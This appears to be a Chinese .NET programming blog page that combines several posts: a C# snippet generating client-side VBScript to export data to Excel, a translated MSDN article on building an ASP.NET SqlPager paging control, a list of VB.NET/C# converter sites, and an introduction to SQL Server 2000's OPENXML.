            m_rect.Width = m_rect.Height = 20;


        }


    }


}


 


一、在客戶端把數據導入到Excel文件步驟



1、創建Excel application對象,打開或生成Excel文件



//服務端創建StringBuilder對象



    System.Text.StringBuilder  sb=new System .Text .StringBuilder ();



    //指定客戶端執行語言



sb.Append ("<Script Language=VBScript>");



    sb.Append ("<!--\r\n");



    sb.Append ("dim xls\r\n");



    //創建Excel application對象



    sb.Append ("Set xls=CreateObject(\"Excel.Application\")\r\n");



    //打開Excel文件



sb.Append ("xls.WorkBooks.Open(C:\\MyExcel.xls)\r\n");



2、選定工作表,把數據導入到Excel



 //選定欲操作的Excel



sb.Append ("xls.Sheets(1).Select\r\n");



//获得要操作数据表的行、列数



      int rows=dt.Rows.Count,cols=dt.Columns.Count  ;



      //按行列将数据写入Excel



       for (int j=brow+1;j<brow+cols ;j++)



        for (int i=bcol;i<bcol+rows ;i++)                                   



          sb.Append ("xls.Sheets(1).Cells(" +(j-1)  + "," + (i) + ")=\"" + dt.Rows[i-bcol][j-brow].ToString ().Replace ("\"","'") + "\"\r\n"); 



    3、显示Excel文件



            sb.Append ("xls.visible=true\r\n");



    4、釋放創建的Excel application對象



            sb.Append ("set xls=nothing\r\n");



            sb.Append ("-->");



        sb.Append ("</script>"); 



5、將代碼寫到客戶端



        this.Page.RegisterClientScriptBlock("",sb.ToString ());

Java (J2SE 5.0) and C# Comparison

Java (J2SE 5.0) and C# Comparison


user1/1/upload/20058177883.rar

VB.NET and C# Comparison

VB.NET and C# Comparison


user1/1/upload/20058175718.rar

思归的 Blog

创建用于 ASP.NET 的分页程序控件

创建用于 ASP.NET 的分页程序控件


Dino Esposito
Wintellect

2003 年 10 月


适用于:
    Microsoft® ASP.NET


摘要:解决向任何 ASP.NET 控件添加分页功能的问题。还为开发复合 ASP.NET 控件提供了很多有用的提示和技巧。


下载本文的源代码(英文)。(请注意,在示例文件中,程序员的注释使用的是英文,本文中将其译为中文是为了便于读者理解。)


从程序员的角度来看,Microsoft® SQL Server™ 查询的最大缺陷之一就是返回的行数通常比应用程序的用户界面实际可以容纳的行数要多得多。这种尴尬情形经常将开发人员陷于困境。开发人员是应该创建一个非常长的页面,让用户花时间去滚动浏览,还是应该通过设置一个手动分页机制来更好地解决这个问题?


哪种解决方案更好,在很大程度上取决于要检索的数据的特性。由多个项目(如搜索结果)组成的较长列表,最好通过各页大小相等、每页相对较短的多个页面显示。由单个项目(如文章的文本)组成的较长列表,如果整个插入在一个页面中,使用起来会更方便。最后得出的分析结果是,应该根据应用程序的总体用途来做决定。那么,Microsoft® ASP.NET 是如何解决数据分页问题的呢?


ASP.NET 提供了功能强大的数据绑定控件,以便将查询结果格式化为 HTML 标记。但是,这些数据绑定控件中只有一种控件(即 DataGrid 控件)本来就支持分页。其他控件(如 DataListRepeaterCheckBoxList)则不支持分页。这些控件及其他列表控件不支持分页,不是因为它们在结构上不支持分页,而是因为它们与 DataGrid 不同,不包含任何处理分页的特定代码。但是,处理分页的代码是相当样板化的,可以添加到所有这些控件中。


Scott Mitchell 在最近的一篇题目为“Creating a Pageable, Sortable DataGrid”(英文)的文章中,介绍了 DataGrid 分页。该文还引用了 Web 上的其他有用信息,为您提供了有关网格分页基础知识和其他信息。如果想查看如何使 DataList 控件可以进行分页的示例,可以查看此文章(英文)。该文演示了如何创建一个自定义的 DataList 控件,该控件具有当前索引和页面大小属性,并可以启动页面更改事件。


同样的代码也可以用于满足其他列表控件(如 ListBoxCheckBoxList)的分页需要。不过,向各个控件添加分页功能实际上并不是一种非常好的做法,因为,如上所述,分页代码是相当样板化的。因此,对于聪明的程序员来说,有什么方法比使用一种新的通用分页程序控件来实现所有这些控件的分页功能更好的呢?


本文中将建立一个分页程序控件,它将使合作者列表控件能够对 SQL Server 的查询结果进行分页。该控件名为 SqlPager,它支持两种类型的合作者控件 - 列表控件和基础数据列表控件。


SqlPager 控件的显著特点


SqlPager 控件是一个 ASP.NET 复合控件,包含一个单行表格。该行又包含两个单元格 - 导航条和页面描述符。该控件的用户界面呈条形,理想情况下,其宽度与合作者控件的宽度相同。导航条部分提供了可单击的元素,以便在页面之间移动;页面描述符部分为用户提供了有关当前显示的页面的一些反馈信息。



图 1:Visual Studio .NET 网页设计器中显示的 SqlPager 控件


DataGrid 控件的嵌入式分页程序一样,SqlPager 控件具有两种导航模式,即下一页/上一页和数字页面。此外,其特殊属性 PagerStyle 使您能够选择更方便的样式。该控件与列表控件协同工作。您可以通过 ControlToPaginate 字符串属性为分页程序指定一个这样的合作者控件。

SqlPager1.ControlToPaginate = "ListBox1"; 

一般情况下,分页程序首先获取 SQL Server 的查询结果,准备一个适当的记录页面,然后通过合作者控件的 DataSource 属性显示该页面。当用户单击以查看新页面时,分页程序将检索请求的数据并再次通过合作者控件来显示数据。分页机制对于列表控件是完全透明的。列表控件的数据源是通过编程方式进行更新的,任何时候都只包含适合当前页面的记录。


控件的分页引擎具有多个 public 属性,如 CurrentPageIndexItemsPerPagePageCount,通过这些属性来获取并设置当前页面的索引、每个页面的大小以及要显示的页面的总数。分页程序管理数据检索和分页所需的任何逻辑。


SelectCommand 属性设置获取数据所用的命令文本。ConnectionString 属性定义数据库的名称和位置以及连接凭据。执行查询时采用的方式取决于 PagingMode 属性的值。该属性的可能值为与其同名的 PagingMode 枚举的值 - CachedNonCached。如果选择 Cached 选项,则将使用数据适配器和 DataTable 对象检索整个结果集。可以选择将结果集放置在 ASP.NET 的 Cache 对象中,该结果集可以重复使用直到过期。如果选择 NonCached 选项,则查询只检索适合当前页面的记录。这时,ASP.NET 的 Cache 中不放置任何数据。NonCached 模式与 DataGrid 控件的自定义分页模式几乎相同。


下表列出 SqlPager 控件的全部编程接口。


表 1:SqlPager 控件的编程接口



















































名称 类型 说明
CacheDuration 属性 指示数据在 ASP.NET 的缓存中保留的秒数。只用于 Cached 模式。默认值为 60 秒。
ConnectionString 属性 用来访问所选择的 SQL Server 数据库的连接字符串。
ControlToPaginate 属性 同一个 .aspx 页面中的控件 ID,它将显示分页程序检索的记录页面。这是合作者控件。
CurrentPageIndex 属性 获取并设置基于 0 的页面索引。
ItemsPerPage 属性 获取并设置每页要显示的记录数量。默认值为每页显示 10 个项目。
PagerStyle 属性 该值指示分页程序用户界面的样式。它可以为 PagerStyle 枚举值:NextPrevNumericPages 之一。在 NextPrev 模式中,将显示 VCR 式的按钮,来转到第一页、上一页、下一页和最后一页。而在 NumericPages 模式中,将显示一个下拉列表,列出所有可用页面的索引。
PagingMode 属性 该值指示检索数据的方式。它可以为 PagingMode 枚举值:CachedNonCached 之一。如果为 Cached,则将使用数据适配器,且整个结果集将临时放置在 ASP.NET 缓存中。如果为 NonCached,则只检索当前页面中的记录。在这种情况下,不进行缓存。
SelectCommand 属性 用来进行查询的命令文本。最好为 SELECT-FROM-WHERE 形式。不支持 ORDER BY 子句。排序是通过 SortField 属性另外指定的。
SortField 属性 用来排序的字段的名称。此字段用于为查询提供动态的 ORDER BY 子句。排序是由 SQL Server 执行的。
ClearCache 方法 删除存储在 ASP.NET 缓存中的任何数据。
PageIndexChanged 事件 默认事件,当分页程序移动到另一个页面时发生。事件的数据结构为 PageChangedEventArgs 类,包含旧页面和新页面的索引。

由于 SqlPager 控件继承了 WebControl,因此它也具有很多与 UI 相关的属性来管理字体、边框和颜色。


生成 SqlPager 控件


将作为复合控件来生成 SqlPager 控件并让其继承 WebControl 类。复合控件是 ASP.NET 服务器控件所特有的,它是由一个或多个服务器控件组成。

public class SqlPager : WebControl, INamingContainer
{ ... }

除非生成完全自定义的控件或扩展现有的控件,否则,创建新控件时,大多数时间实际上是在生成复合控件。要创建 SqlPager,组合一个 Table 控件,并根据分页程序的样式,组合几个 LinkButton 控件或者一个 DropDownList 控件。


生成复合控件时,需要注意几条原则。首先,需要覆盖 CreateChildControls protected 方法。CreateChildControls 方法是从 Control 继承来的,当服务器控件为了显示而要创建子控件时或在返回后,将调用此方法。

protected override void CreateChildControls()
{
// 清除现有的子控件及其 ViewState
Controls.Clear();
ClearChildViewState();
// 生成控件树
BuildControlHierarchy();
}

覆盖此方法时,需要执行几项重要的操作。创建并初始化任何所需的子控件实例并将它们添加到父控件的 Controls 集合中。但是,生成新控件树之前,应该删除任何现有的子控件并清除子控件可能留下的任何 ViewState 信息。


复合组件还需要实现 INamingContainer 接口,以便 ASP.NET 运行时可以为其创建一个新的命名范围。这就确保了复合控件中的所有控件都具有唯一的名称。这还将确保能够自动处理子控件的返回数据。


对于 SqlPager 控件来说,成为命名容器非常重要。事实上,SqlPager 包含一些 LinkButton 控件,并且需要获取并处理其单击事件以便导航页面。正如 ASP.NET 页面中的任何其他控件一样,LinkButton 也被赋予了一个 ID,用于标识处理返回事件的控件。


处理返回事件时,ASP.NET 运行时试图查找事件的目标 ID 与主窗体的任何直接子控件之间是否存在匹配关系。LinkButton 是分页程序的子控件,因此不能运行其服务器端的代码。这是否意味着只有窗体的直接子控件才能启动并处理服务器事件?当然不是,只要您使用命名容器。


通过使 SqlPager 控件实现 INamingContainer 接口,可以将嵌入式链接按钮的实际 ID 从“First”更改为“SqlPager1:First”。当用户单击以查看新页面时,返回事件将 SqlPager1:First 作为目标控件。实际上,运行时用来识别目标控件的算法比上面介绍的要复杂一些。运行时将事件目标控件的名称看作是用冒号分隔开的字符串。实际上,这种匹配是在窗体的子控件和用冒号分隔开的字符串(如 SqlPager1:First)的第一个标记之间进行的。由于分页程序是窗体的子控件,因此匹配时会成功,分页程序获取单击事件。如果您认为这种解释不够充分或者令人费解,只要下载 SqlPager 控件的源代码,删除 INamingContainer 标记接口并进行重新编译即可。您将看到分页程序能够返回,但不能内部处理单击事件。


INamingContainer 接口是一个不具备方法的标记接口,其实现只需在类声明中指定名称即可,无需进行任何其他操作。


复合控件的另一个重要方面是,它们通常不需要自定义逻辑来进行显示。复合控件的显示遵循其组成控件的显示。生成复合控件时,通常无需覆盖 Render 方法。


控件的 SqlPager 树由一个包含两个单元格的单行表格组成。该表格继承了分页程序的大部分可视设置,如前景颜色和背景颜色、边框、字体信息和宽度等。第一个单元格包含导航条,其结构取决于 PagerStyle 属性的值。如果分页程序的样式为 NextPrev,则导航条将由四个 VCR 式的按钮组成。否则,它将由一个下拉列表组成。

private void BuildControlHierarchy()
{
// 生成环境表格(一行,两个单元格)
Table t = new Table();
t.Font.Name = this.Font.Name;
t.Font.Size = this.Font.Size;
t.BorderStyle = this.BorderStyle;
t.BorderWidth = this.BorderWidth;
t.BorderColor = this.BorderColor;
t.Width = this.Width;
t.Height = this.Height;
t.BackColor = this.BackColor;
t.ForeColor = this.ForeColor;
// 生成表格中的行
TableRow row = new TableRow();
t.Rows.Add(row);
// 生成带有导航条的单元格
TableCell cellNavBar = new TableCell();
if (PagerStyle == this.PagerStyle.NextPrev)
BuildNextPrevUI(cellNavBar);
else
BuildNumericPagesUI(cellNavBar);
row.Cells.Add(cellNavBar);
// 生成带有页面索引的单元格
TableCell cellPageDesc = new TableCell();
cellPageDesc.HorizontalAlign = HorizontalAlign.Right;
BuildCurrentPage(cellPageDesc);
row.Cells.Add(cellPageDesc);
// 将表格添加到控件树
this.Controls.Add(t);
}

将各个控件添加到正确的 Controls 集合对于分页程序的正确显示极其重要。最外层的表格必须添加到分页程序的 Controls 集合中。链接按钮和下拉列表必须添加到相应表格单元格的 Controls 集合中。


下面给出了用来生成链接按钮导航条的代码。每个按钮都显示有一个 Webdings 字符,可以根据需要禁用,并被绑定到内部的 Click 事件处理程序。

private void BuildNextPrevUI(TableCell cell)
{
bool isValidPage = ((CurrentPageIndex >=0) &&
(CurrentPageIndex <= TotalPages-1));
bool canMoveBack = (CurrentPageIndex>0);
bool canMoveForward = (CurrentPageIndex<TotalPages-1);
// 显示 << 按钮
LinkButton first = new LinkButton();
first.ID = "First";
first.Click += new EventHandler(first_Click);
first.Font.Name = "webdings";
first.Font.Size = FontUnit.Medium;
first.ForeColor = ForeColor;
first.ToolTip = "第一页";
first.Text = "7";
first.Enabled = isValidPage && canMoveBack;
cell.Controls.Add(first);
:
}

分页程序的另一种样式(在下拉列表中列出数字页面)的生成方法如下所示:

private void BuildNumericPagesUI(TableCell cell)
{
// 显示一个下拉列表
DropDownList pageList = new DropDownList();
pageList.ID = "PageList";
pageList.AutoPostBack = true;
pageList.SelectedIndexChanged += new EventHandler(PageList_Click);
pageList.Font.Name = this.Font.Name;
pageList.Font.Size = Font.Size;
pageList.ForeColor = ForeColor;

if (TotalPages <=0 || CurrentPageIndex == -1)
{
pageList.Items.Add("No pages");
pageList.Enabled = false;
pageList.SelectedIndex = 0;
}
else // 填充列表
{
for(int i=1; i<=TotalPages; i++)
{
ListItem item = new ListItem(i.ToString(), (i-1).ToString());
pageList.Items.Add(item);
}
pageList.SelectedIndex = CurrentPageIndex;
}
}

所有事件处理程序(Click 和 SelectedIndexChanged)最终都会更改当前显示的页面。这两种方法都会调用一个公用的 private 方法 GoToPage

private void first_Click(object sender, EventArgs e)
{
GoToPage(0);
}
private void PageList_Click(object sender, EventArgs e)
{
DropDownList pageList = (DropDownList) sender;
int pageIndex = Convert.ToInt32(pageList.SelectedItem.Value);
GoToPage(pageIndex);
}
private void GoToPage(int pageIndex)
{
// 准备事件数据
PageChangedEventArgs e = new PageChangedEventArgs();
e.OldPageIndex = CurrentPageIndex;
e.NewPageIndex = pageIndex;
// 更新当前的索引
CurrentPageIndex = pageIndex;
// 启动页面更改事件
OnPageIndexChanged(e);
// 绑定新数据
DataBind();
}

其他导航按钮的处理程序与 first_Click 的区别仅在于它们传递给 GoToPage 方法的页码不同。GoToPage 方法负责处理 PageIndexChanged 事件,并负责启动数据绑定过程。它准备事件数据(旧页面和新页面索引)并触发事件。GoToPage 被定义为 private,但是可以使用 CurrentPageIndex 属性通过编程的方式更改显示的页面。

public int CurrentPageIndex
{
get {return Convert.ToInt32(ViewState["CurrentPageIndex"]);}
set {ViewState["CurrentPageIndex"] = value;}
}

与表 1 中所列的所有属性一样,CurrentPageIndex 属性的实现方法也相当简单。它将其内容保存到 ViewState 中并从中进行还原。在数据绑定过程中,会验证和使用页面索引。


数据绑定过程


DataBind 方法是所有 ASP.NET 控件公用的,对于数据绑定控件来说,它将触发用户界面的刷新以反映新数据。SqlPager 控件根据 SelectCommandConnectionString 属性的值,使用此方法启动数据检索操作。不言而喻,如果这些属性中的任何一个为空,该过程将终止。同样,如果合作者控件不存在,数据绑定过程将被取消。要查找合作者控件,DataBind 方法使用 Page 类中的 FindControl 函数。由此可见,合作者控件必须为主窗体的直接子控件。


进行分页显示的控件不能为任意的 ASP.NET 服务器控件。它必须为列表控件或基本数据列表控件。更一般来说,合作者控件必须具有 DataSource 属性并实现 DataBind 方法。可能进行分页的控件实际上只需要满足这些要求。Microsoft® .NET Framework 中所有继承 ListControlBaseDataList 的控件都满足第一个要求;而所有 Web 控件通过设计都满足 DataBind 要求。使用当前的实现方法,无法使用 SqlPager 控件来对 Repeater 进行分页。Repeater 与合作者控件 DataListDataGrid 不同,不继承 BaseDataList,也不提供列表控件的功能。下表列出了可以使用 SqlPager 进行分页的控件。


表 2:可以由 SqlPager 控件进行分页的数据绑定控件
























控件 说明
CheckBoxList ListControl 派生而来,显示为复选框列表。
DropDownList ListControl 派生而来,显示为字符串下拉列表。
ListBox ListControl 派生而来,显示为字符串可滚动列表。
RadioButtonList ListControl 派生而来,显示为单选按钮列表。
DataList BaseDataList 派生而来,显示为模板化数据项目列表。
DataGrid BaseDataList 派生而来,显示为数据项目的表格网格。DataGrid 是唯一一个内置有功能强大的分页引擎的 ASP.NET 控件。

以下代码说明由 SqlPager 控件实现的数据绑定过程。

public override void DataBind()
{
// 启动数据绑定事件
base.DataBinding();
// 数据绑定后必须重新创建控件
ChildControlsCreated = false;
// 确保控件存在且为列表控件
_controlToPaginate = Page.FindControl(ControlToPaginate);
if (_controlToPaginate == null)
return;
if (!(_controlToPaginate is BaseDataList ||
_controlToPaginate is ListControl))
return;
// 确保具有足够的连接信息并指定查询
if (ConnectionString == "" || SelectCommand == "")
return;
// 获取数据
if (PagingMode == PagingMode.Cached)
FetchAllData();
else
FetchPageData();
// 将数据绑定到合作者控件
BaseDataList baseDataListControl = null;
ListControl listControl = null;
if (_controlToPaginate is BaseDataList)
{
baseDataListControl = (BaseDataList) _controlToPaginate;
baseDataListControl.DataSource = _dataSource;
baseDataListControl.DataBind();
return;
}
if (_controlToPaginate is ListControl)
{
listControl = (ListControl) _controlToPaginate;
listControl.Items.Clear();
listControl.DataSource = _dataSource;
listControl.DataBind();
return;
}
}

根据 PagingMode 属性的值调用不同的获取例程。在任何情况下,结果集都绑定到 PagedDataSource 类的实例上。此类提供了一些用来对数据进行分页的功能。特别是,当整个数据集都存储在缓存中时,该类将自动检索当前页面的记录并返回布尔值,来提供有关第一页和最后一页的信息。稍后将回来介绍此类的内部结构。在上述列表中,帮助程序的 PagedDataSource 对象是由 _dataSource 变量表示的。


然后,SqlPager 控件经过计算得出合作者控件的类型,并将 PagedDataSource 对象的内容绑定到合作者控件的 DataSource 属性。


有时,上述的 DataBind 方法还将 ChildControlsCreated 属性重新设置为 false。那么,为什么要这样做呢?


当包含分页程序的页面返回时,所有控件都要重新创建;分页程序也不例外。通常情况下,所有控件及其子控件都是在准备显示页面之前创建的。在每个控件接收到 OnPreRender 通知之前的一瞬间,protected EnsureChildControls 方法将被调用,这样,每个控件都可以生成自己的控件树。此事件发生后,数据绑定过程完成,新数据已存储到缓存中。


但是,当由于单击分页程序的一个组成控件而使页面返回时(即用户单击以更改页面),就会生成分页程序的控件树,这时远未达到显示阶段。特别是,当处理相关的服务器端事件时,就必须生成控件树,因而是在数据绑定开始之前生成控件树。困难在于,数据绑定将修改页面索引,而这必须反映在用户界面中。如果不采取某些对策的话,当用户切换到另一页时,分页程序中的页面索引将不会被刷新。


有各种方法可以解决此问题,但重要的是要弄清楚问题及其真正的原因。您可以避免生成控件树,并在 Render 方法中生成所有输出。另外,您还可以修改树中受数据绑定更改影响的部分。本文选择了第三种方法,这种方法需要较少的代码,而且,不管控件的用户界面的哪个部分受到数据绑定更改的影响,都能够解决问题。通过将 ChildControlsCreated 属性设置为 false,可以使以前创建的任何控件树无效。这样,在显示之前将重新创建控件树。


分页引擎


SqlPager 控件支持两种检索数据的方法 - 缓存和非缓存。如果采用前者,选择命令原样执行,整个结果集将绑定到在内部进行分页的数据源对象上。PagedDataSource 对象将自动返回适合特定页面的记录。PagedDataSource 类也是在 DataGrid 默认分页机制背后运行的系统组件。


检索所有记录但只显示适合页面的几个记录,这通常不是一种明智的方法。由于 Web 应用程序的无状态特性,事实上,每次请求页面时都可能运行大量的查询。要使操作有效,采用缓存的数据检索方法必须依赖于某种缓存对象,ASP.NET 的 Cache 对象就是一个很好的候选对象。缓存技术的使用加快了应用程序的运行速度,但其提供的数据快照不能反映最新的更改。另外,它需要使用 Web 服务器上的较多内存。而且荒谬的是,如果大量的数据按会话缓存的话,甚至可能造成很大的问题。Cache 容器对于应用程序来说是全局的;如果数据按会话存储在其中,还需生成会话特有的项目名称。


Cache 对象的上面是完全支持过期策略的。换句话说,存储在缓存中的数据在一段时间后可以自动被释放。以下代码说明 SqlPager 类中用来获取数据并将其存储在缓存中的一个 private 方法。

private void FetchAllData()
{
// 在 ASP.NET Cache 中查找数据
DataTable data;
data = (DataTable) Page.Cache[CacheKeyName];
if (data == null)
{
// 使用 order-by 信息修改 SelectCommand
AdjustSelectCommand(true);
// 如果数据过期或从未被获取,则转到数据库
SqlDataAdapter adapter = new SqlDataAdapter(SelectCommand,
ConnectionString);
data = new DataTable();
adapter.Fill(data);
Page.Cache.Insert(CacheKeyName, data, null,
DateTime.Now.AddSeconds(CacheDuration),
System.Web.Caching.Cache.NoSlidingExpiration);
}

// 配置分页的数据源组件
if (_dataSource == null)
_dataSource = new PagedDataSource();
_dataSource.DataSource = data.DefaultView;
_dataSource.AllowPaging = true;
_dataSource.PageSize = ItemsPerPage;
TotalPages = _dataSource.PageCount;
// 确保页面索引有效
ValidatePageIndex();
if (CurrentPageIndex == -1)
{
_dataSource = null;
return;
}
// 选择要查看的页面
_dataSource.CurrentPageIndex = CurrentPageIndex;
}

控件和请求的缓存项目名称是唯一的。它包括页面的 URL 和控件的 ID。在指定的时间(以秒计算)内,数据被绑定到缓存。要使项目过期,必须使用 Cache.Insert 方法。以下较简单的代码将项目添加到缓存,但不包括任何过期策略。

Page.Cache[CacheKeyName] = data;

PagedDataSource 对象通过其 DataSource 属性获取要进行分页的数据。值得注意的是,PagedDataSource 类的 DataSource 属性只接受 IEnumerable 对象。DataTable 不满足此要求,这就是为什么采取 DefaultView 属性的原因。


SelectCommand 属性确定在 SQL Server 数据库上运行的查询。此字符串最好为 SELECT-FROM-WHERE 形式。不支持 ORDER BY 子句,如果指定了该子句,将被删除。这正是 AdjustSelectCommand 方法所做的。使用 SortField 属性可以指定任何排序信息。AdjustSelectCommand 方法本身将根据 SortField 的值添加一个正确的 ORDER BY 子句。这样做有什么原因吗?


当分页程序以 NonCached 模式工作时,原始的查询将被修改以确保只检索当前页面的记录。在 SQL Server 上执行的实际查询文本将采取以下形式。

SELECT * FROM 
(SELECT TOP ItemsPerPage * FROM
(SELECT TOP ItemsPerPage*CurrentPageIndex * FROM
(SelectCommand) AS t0
ORDER BY SortField ASC) AS t1
ORDER BY SortField DESC) AS t2
ORDER BY SortField

该查询弥补了 SQL Server 2000 中 ROWNUM 子句的缺陷,并且对记录进行重新排序,使得只有 x 项目的“第 n 个”块经过正确排序后返回。您可以指定基础查询,分页程序将它分解为多个较小的页面。只有适合某个页面的记录被返回。正如您看到的那样,除了查询命令以外,上述查询需要处理排序字段。这就是为什么另外添加了 SortField 属性。此代码的唯一缺陷是默认情况为升序排序。通过使 ASC/DESC 关键字参数化,可以使此代码真的非常完美:

private void FetchPageData()
{
// 需要经过验证的页面索引来获取数据。
// 还需要实际的页数来验证页面索引。
AdjustSelectCommand(false);
VirtualRecordCount countInfo = CalculateVirtualRecordCount();
TotalPages = countInfo.PageCount;
// 验证页码(确保 CurrentPageIndex 有效或为“-1”)
ValidatePageIndex();
if (CurrentPageIndex == -1)
return;
// 准备并运行命令
SqlCommand cmd = PrepareCommand(countInfo);
if (cmd == null)
return;
SqlDataAdapter adapter = new SqlDataAdapter(cmd);
DataTable data = new DataTable();
adapter.Fill(data);
// 配置分页的数据源组件
if (_dataSource == null)
_dataSource = new PagedDataSource();
_dataSource.AllowCustomPaging = true;
_dataSource.AllowPaging = true;
_dataSource.CurrentPageIndex = 0;
_dataSource.PageSize = ItemsPerPage;
_dataSource.VirtualCount = countInfo.RecordCount;
_dataSource.DataSource = data.DefaultView;
}

NonCached 模式中,PagedDataSource 对象并不提供整个数据源,因此不能计算出要进行分页的总页数。进而必须对 AllowCustomPaging 属性进行标记,并提供数据源中的实际记录数量。通常,实际数量是使用 SELECT COUNT(*) 查询进行检索的。此模型与 DataGrid 的自定义分页几乎相同。此外,PagedDataSource 对象中选择的当前页面索引通常为 0,因为实际上已经存储了一页记录。


SqlPager 控件的实现方法就介绍到这里,下面我们介绍一下它的使用方法。


使用 SqlPager 控件


假设存在一个包含 ListBox 控件的示例页面。要使用分页程序,请确保 .aspx 页面正确地注册了该控件的程序集。

<%@ Register TagPrefix="expo" Namespace="DevCenter" Assembly="SqlPager" %>

控件的标记取决于实际设置的属性。以下标记是一个合理的示例:

<asp:listbox runat="server" id="ListBox1" 
Width="300px" Height="168px"
DataTextField="companyname" />
<br>
<expo:SqlPager runat="server" id="SqlPager1" Width="300px"
ControlToPaginate="ListBox1"
SelectCommand="SELECT customerid, companyname FROM customers"
ConnectionString="SERVER=localhost;DATABASE=northwind;UID=..."
SortKeyField="companyname" />
<br>
<asp:button runat="server" id="LoadFirst1" Text="加载第一页" />

除了分页程序以外,页面还包含一个列表框和一个按钮。列表框将显示每个页面的内容;按钮只用于首次填充列表框。该按钮具有一个单击事件处理程序,定义如下。

private void LoadFirst1_Click(object sender, EventArgs e) {
SqlPager1.CurrentPageIndex = 0;
SqlPager1.DataBind();
}

图 2 显示操作中的页面。



图 2:与 ListBox 控件协同工作的 SqlPager 控件。


使用 DataList 控件可以生成一个更有意思的示例。目标是使用分页程序浏览每个 Northwind 职员的个人记录。该 DataList 如以下列表所示。

<asp:datalist runat="server" id="DataList1" Width="300px" 
Font-Names="Verdana" Font-Size="8pt">
<ItemTemplate>
<table bgcolor="#f0f0f0" style="font-family:verdana;font-size:8pt;">
<tr><td valign="top">
<b><%# DataBinder.Eval(Container.DataItem, "LastName") + ", " +
DataBinder.Eval(Container.DataItem, "firstname") %></b></td></tr>

<tr><td>
<span style="color:blue;"><i>
<%# DataBinder.Eval(Container.DataItem, "Title")%></i></span>
<p><img style="float:right;" src='image.aspx?
id=<%# DataBinder.Eval(Container.DataItem, "employeeid")%>' />
<%# DataBinder.Eval(Container.DataItem, "Notes") %></td></tr>
</table>
</ItemTemplate>
</asp:datalist>

表格的第一行显示职员的姓名和职务,然后是相片,相片周围是注释。相片是使用特定的 .aspx 页面检索的,返回从数据库中获取的 JPEG 数据。


分页程序可以放置在页面中的任何位置。本例中将它放置在合作者 DataList 控件上方并紧挨着合作者控件。



图 3:SqlPager 对 DataList 控件进行分页


SqlPager 控件与 DataGrid 控件一起使用有意义吗?这要视情况而定。DataGrid 已经与一个基于本文中使用的 PagedDataSource 对象的嵌入式分页引擎一起工作。因此,如果您需要对以表格格式显示的单个记录集合进行分页时,就无需使用 SqlPager。但是,对于重要/复杂的方案,将这两个控件一起使用并不是一种牵强的想法。例如,如果您要向前一个屏幕快照添加一个 DataGrid 来显示由职员管理的订单,则可以在同一格页面上放置两个相关的分页引擎,一个要对职员进行分页,另一个用于滚动相关订单。


小结


不管您要生成哪种类型的应用程序(Web 应用程序、Microsoft® Windows® 应用程序或 Web 服务),您都很难下载和缓存要显示的整个数据源。有时,测试环境会使您相信这种解决方案真是太棒了,非常可取。但是测试环境也会误导。数据源的大小非常关键,应用程序的规模越大,数据源的大小越关键。


在 ASP.NET 中,只有 DataGrid 控件具有内置的分页功能。但是,分页引擎是由相当样板化的代码实现的,只要进行少量的处理,就可以进行推广并用于多个不同的控件。本文介绍的 SqlPager 控件就实现了此目标。它关注下载数据,将数据分成多个页面并通过合作者控件显示。该控件可以检索并缓存整个数据集,或者仅在 SQL Server 中查询要在选定的页面中显示的几个记录。我说的是 SQL Server,这是另一个重点。SqlPager 只能用于 SQL Server,不能用于通过 OLE DB 或 ODBC 来检索数据。也不能使用它访问 Oracle 或 DB2 存档。


要生成真正的通用 SQL 分页程序组件,应该形成数据访问层,并生成一种能够使用相应的数据提供程序创建连接、命令和适配器的工厂类。此外,要注意为各种 SQL 源设置一个分页引擎是最糟糕的做法。这里介绍的方法只适用于 SQL Server 7.0 和更高版本。TOP 子句在不同的环境下具有不同的特性。使用服务器游标和临时表格,它可适用于较大范围的 DBMS 系统。但那将使代码更为复杂。


作者简介


Dino Esposito 是一位来自意大利罗马的培训教师和顾问。他是 Wintellect(英文)小组的成员,专门研究 ASP.NET 和 ADO.NET,主要在欧洲和美国从事教学和咨询工作。此外,Dino 还负责管理 Wintellect 的 ADO.NET 课件,并为 MSDN Magazine(英文)的“Cutting Edge”专栏撰写文章。


源文件:user1/1/upload/20058179901.rar


http://www.microsoft.com/china/msdn/archives/library/dnaspp/html/PagerControls.asp

n 个 VB.Net C# 代码转换工具

| 1 Comment

1.http://www.kamalpatel.net/(最常用的,不过对于16进制的Int不能正常转换)
在线版:VB.Net => C#   C#=>VB.Net 
离线版:C#=>VB.Net 
2.http://csharpconverter.claritycon.com/(推荐!非常好用的一个,几乎没出过太大的问题。)
在线版:C#=>VB.Net
离线版:C#=>VB.Net 
3.http://www.ragingsmurf.com/
在线版:C#=>VB.Net
4.http://aspalliance.com/
在线版:C#=>VB.Net
5.http://developerfusion.com/
在线版:VB.Net => C#   C#=>VB.Net
6.SharpDevelop
www.icsharpcode.com
大家如果有其它的欢迎评论告诉我一声
最后送一个最管用的:呵呵,看了就知道.
http://www.4guysfromrolla.com/webtech/012702-1.shtml

从SQL Server中读取XML文件

SQL Server 2000使得以XML导出数据变得更加简单,但在SQL Server 2000中导入XML数据并对其进行处理则有些麻烦。


如果你参考Books Online(BOL),你会发现有相关的条目,包括OPENXML以及 OPENROWSET。所有的这些例子都支持将XML文本作为已经声明的变量,这对于经常处理文本的用户来说非常方便,但对于希望在开发中读取XML文件并进行相应处理的开发人员来说就不是这样了。处理这样的问题,或许最好从内到外来对其进行分析。


OPENXML是一个rowset函数(即返回一个rowset),它的工作方式类似于rowset函数OPENQUERY和OPENROWSET。使用OPENXML可以对XML数据执行JOINs操作而无需首先导入数据。你还可以将其同INSERT、SELECT、UPDATE以及DELETE等操作联合使用。










然而,要使用OPENXML,你必须执行两项OPENQUERY和OPENROWSET并不需要的任务。这两项任务需要两个系统存储进程。


第一个是sp_xml_preparedocument,它将读取特定的XML文本并将其内容提取到内存中。其语法如下:


sp_xml_preparedocument @hdoc = OUTPUT,


[, @xmltext = ]


[, @xpath_namespaces =


具体参数如下:


@hdoc:指向某内存区域的句柄(从作用上看等同于一个指针),相关数据存放在这里。注意这是一个输出变量,当该进程运行后,该变量将包含指向XML文件内容在内存地址的句柄。由于你需要在随后使用此结果,因此要确保对其进行保存;


@xmltext:实际上你所希望处理的XML文本;


@xml_namespaces:为了正常操作你的XML数据所需要的任何名字空间索引(namespace references)。注意在这里出现的任何URL都需要用尖括号(<>)括起来;


假设所传递的这些参数都有效,并且XML文档存在,那么你的XML数据就会被存放到内存中去。现在你就可以调用sp_xml_preparedocument,传递存放有XML文件的变量,然后执行OPENXML。语法如下:


OPENXML(idocint [in],rowpatternnvarchar[in],[flagsbyte[in]])


